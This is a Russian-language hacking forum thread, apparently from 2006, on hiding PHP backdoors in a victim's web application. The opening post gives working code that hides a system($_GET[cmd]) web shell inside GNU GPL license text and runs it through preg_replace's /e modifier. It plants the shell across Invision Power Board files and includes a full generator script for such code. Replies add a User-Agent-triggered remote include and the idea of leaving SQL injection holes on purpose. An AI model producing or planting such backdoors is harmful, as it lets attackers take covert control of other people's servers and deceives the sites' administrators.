• XSS.stack #1 – первый литературный журнал от юзеров форума

Скрываем свой Php код в скрипте жертвы

Great

CPU register
Пользователь
Регистрация
13.11.2005
Сообщения
1 622
Реакции
6
Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы "протроянить" его.
Дописать просто <?php system($_GET[cmd]); ?>, <?php include($_GET[inc]); ?> или даже <?php eval(base64_decode("...")); ?> - тупо, слишком заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-код, да еще и закодированный в base64. Не порядок :) Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо текстом, например,
Код:
$license = "      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.";
(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e':
Код:
@preg_replace("#(\d+)#e", $i, "31337");
, где $i - наш код. preg_replace найдет в строке '31337' один или более символов (регулярное выражение \d+) и произведет в ней замену согласно коду $i, который она перед этим выполнит; в добавок еще и будут подавлены все сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью аналогично @eval($i), за исключением того, что в $i не должно быть переносов строки.
Собирать код в строку будем разными способами. Например,
Код:
$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)
мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде
Код:
@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции для работы со строками, например, chop,nl2br,md5 для вида :).
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
Код:
$license = " $      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");

В качестве примера использования рассмотрим Invision Power Board 2.1.7 :)
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить код без юзания GET'а, а, например, брать код из заголовка Referer или что-нибудь в этом роде).
Результат показан на картинке:
ipb217.png


Естественно, писал весь этот код я не сам, а при помощи скрипта-перекодировщика, которому нужно скормить текст (для "выдирания" оттуда символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что показано выше, только в различных вариациях + результат выполнения сгенерированного кода.
Скрипт-перекодировщик:
Код:
<?
$license = <<<EOF
 $      GNU GENERAL PUBLIC LICENSE
         Version 2, June 1991

 Copyright © 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

       _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
EOF;

$text = "system(\$_GET['cmd']);";

function process_text($base_name, $out_name, $base, $text)
{
  preg_match("#\.(\d+) #", microtime(), $d);
  mt_srand($d[1]);

  $functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );

  $encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";

  for($i=0;$i<strlen($text);$i++)
  {

    $p = strpos($base, $text[$i]);
    if($p===false)
      die("Conversion impossible (can't find match for '".$text[$i]."')");

    $func = $functions[ mt_rand()%count($functions) ];

    switch(mt_rand()%4)
    {
    case 0:
      $encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
      break;
    case 1:
      $encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
      break;
    case 2:
      $encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    case 3:
      $encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    }

    preg_match("#\.(\d+) #", microtime(), $d);
    mt_srand($d[1]);
  }

  switch(mt_rand()%3)
  {
  case 0:
    $encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
    break;
  case 1:
    $encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
    break;
  case 2:
    $encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
    break;
  }

  return $encode;
}

$c = process_text("license", "i", $license, $text);

echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>

© Great, 2006.
 
system и eval прошлый век. Админы их по поиску находят и удаляют. А вот с preg_replace, ereg_replace и другие шаблонизаторы да и некоторые системные фунции типо popen, shell_exec даже если их увидят, далеко не каждый заподозрит про них. Видел как неплохо троянили через переменную переменной, с виду обычный текст для парсинга плохих слов на форуме, а на самом деле неплохой черный ход.
 
Можно просто "случайно" оставить ошибку в скрипте, например, убрать фильтрацию переменных к SQL-запросу :)

Это скорее информация к размышлению, чем руководство к действию

Кстати *reg_replace я тоже ищу по поиску и тщательно проверяю аргументы =)
 
Вспоминается бага IPB 2.* с переменной $lastdate :)
+1
 
2Great
Не-а ;) Кусок бажного кода из оригинального 2.0.4
Код:
if ( $ibforums->input['lastdate'] )
  {
  	$this->output = preg_replace( "#(value=[\"']{$ibforums->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );
  }
	}
Сравни с бажным же 2.1.5
Ну или глянь сорец сплоита Вульфа...tested on 2.1.4, 2.0.2
;)
 
Great
глупая задумка, как не шифруй размер файла тебя выдает ...
имхо более красиво:
Код:
<?php include('http://localhost/');?>
 
неа. если скрипт большой типа ипб и раскидать по многим файлам.. а вообше я говорю, что это только информация к размышлению.
Для реального использования сойдет и preg_replace с rot13
 
Все зависит от админа! Если админ не дурак он все равно заметит))) :nukesign:
 
$k=$_SERVER["USER_AGENT"];
это где нить незаметно так

if (strpos($k,"f35761"){ $path=explode(":",$k); include($path[1]);}

а уж юзер агент на такой: f35761:/path/to/shell.php
сменить каждый может, и шелл спрятать далеко на сервере или даже на удаленном сервере

ЗЫ отписался для начинания ну и не только
 
Позговательно, но меня бы встревожил такой код:

nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
Мысли админа: Нахрена надо проделывать это с текстом лицензии =\

=))))))))))))))))
 
ну тут говорится что имеется большой код и по нем распиханы строки робы с лицензией..

но я думаю, что лучше использовать небольшой код, типа как в Scipio.. так как данные браузера и пользователя берутся часто и это не так заметно а в дальнейшем пропарсить и проинклюдить/выполнить тоже не сильно заметно.. еще можна смотреть REFERER вообщем то, что не вызывает подозрений..
 
Все отлично ловится sh скриптом, который рекурсивно проходит по директориям и считает хеши файлов...
скрипт пишется за пол часа, вешается на крон, и в случае изменения хеша сигналит на мыло...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх